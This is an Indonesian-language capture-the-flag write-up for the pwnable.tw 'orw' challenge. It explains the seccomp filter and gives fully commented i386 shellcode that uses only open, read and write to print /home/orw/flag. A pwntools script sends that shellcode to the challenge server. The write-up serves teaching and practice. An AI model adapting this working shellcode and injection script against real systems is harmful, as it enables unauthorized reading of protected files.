Categories:
ctf
,
pwn
,
assembly
Pada blog ini, saya akan membagikan bagaimana saya mengerjakan challenge ORW pada pwnable.tw

Dari soalーdiberikan detail yang cukup jelas, read flag from /home/orw/flag dan only open read write syscall are allowed to use
Oke, langsung saja kita download binary yang telah diberikanーdan lihat bagaimana detail file binary-nya dan isi setiap fungsinya pada ghidra
Sangat simpel dan straight-forward sekali yak, kita bisa abaikan aja fungsi orw_seccomp, karena saya ga tau itu gimana cara bacanya😅 yang pasti itu sepertinya buat filter semua syscall kecuali open read write dan apabila selain ke-3 syscall ini yang dipanggil, maka return -1 (bisa dilihat pada man page prctl)
Terlihat pada seccomp-tools apa2 saja syscall yang dibolehkanーjadi intinya kita diminta craft shellcode dan mengambil flag pada /home/orw/flag hanya dengan menggunakan open read write syscall
Oke, langsung saja kita craft sesuai dengan keinginan binary~
xor eax, eax ; Membersihkan eax register (nilai menjadi 0)
push eax ; Menambahkan null terminator ke dalam stack
; Memasukkan /home/orw/flag ke dalam stack pointer (esp) dengan little-endian byte order
push 0x00006761 ; 'a', 'g', '\x00', '\x00'
push 0x6c662f77 ; 'w', '/', 'f', 'l'
push 0x726f2f65 ; 'e', '/', 'o', 'r'
push 0x6d6f682f ; '/', 'h', 'o', 'm'
; Jadi hasilnya adalah "/home/orw/flag" di stack lengkap dengan null terminator
; Open syscall dengan arguments open("/home/orw/flag", 0, 0)
mov eax, 0x5 ; 0x5 pada eax untuk memanggil open pada syscall
mov ebx, esp ; memasukkan esp (yang berisi path file) sebagai argumen pertama
xor ecx, ecx ; argumen kedua: flag O_RDONLY (dengan value 0)
xor edx, edx ; argumen ketiga: mode (tidak digunakan, set ke 0)
int 0x80 ; software interrupt untuk syscall
mov esi, eax ; menyimpan file descriptor hasil open ke dalam register esi
sub esp, 0x32 ; menyediakan 0x32 (50) bytes buffer pada stack
mov ebp, esp ; mengisi base pointer dengan stack pointer sebagai alamat buffer
; Read syscall dengan arguments read(fd, buf, sizeof(buf))
mov eax, 0x3 ; 0x3 pada eax untuk memanggil read pada syscall
mov ebx, esi ; membaca isi file descriptor (fd) dari open sebagai argumen pertama
mov ecx, ebp ; buffer di stack sebagai argumen kedua
mov edx, 0x32 ; panjang buffer (50 bytes) sebagai argumen ketiga
int 0x80 ; software interrupt untuk syscall
; Write syscall dengan arguments write(1, buf, sizeof(buf))
mov eax, 0x4 ; 0x4 pada eax untuk memanggil write pada syscall
mov ebx, 0x1 ; 0x1 merupakan file descriptor untuk stdout (/dev/fd/1) sebagai argumen pertama
mov ecx, ebp ; buffer string yang akan di-print sebagai argumen kedua
mov edx, 0x32 ; panjang buffer sebagai argumen ketiga
int 0x80 ; software interrupt untuk syscall

Untuk syscall lainnya selain open read write bisa dicek di syscall.sh ya!!
Oke, begitu aja assembly yang akan kita gunakan untuk mendapatkan flag dari challenge ORW ini, sekarang kita jalankan pada python menggunakan library pwntools
#!/usr/bin/env python3
from pwn import *
import os
exe = ELF("./orw")
context.arch = "i386"
context.binary = exe
context.terminal = ["xterm", "-e"]
def conn():
if args.LOCAL:
r = process([exe.path])
if args.PLT_DEBUG:
gdb.attach(r)
else:
r = remote("chall.pwnable.tw", 10001)
return r
def write(file, val):
with open(file, "wb") as f:
f.write(val)
def main():
# good luck pwning :)
r = conn()
with log.progress("Inject shellcode") as l:
shellcode = asm('''
xor eax, eax
push eax
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax, 0x5
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
mov esi, eax
sub esp, 0x32
mov ebp, esp
mov eax, 0x3
mov ebx, esi
mov ecx, ebp
mov edx, 0x32
int 0x80
mov eax, 0x4
mov ebx, 0x1
mov ecx, ebp
mov edx, 0x32
int 0x80
''')
r.recv()
r.send(shellcode)
l.success()
r.interactive()
if __name__ == "__main__":
main()
Maka akan didapatlah flagnya!!
Semoga bermanfaat, mohon maaf jika ada salah penyampaian, dan terima kasih telah membaca!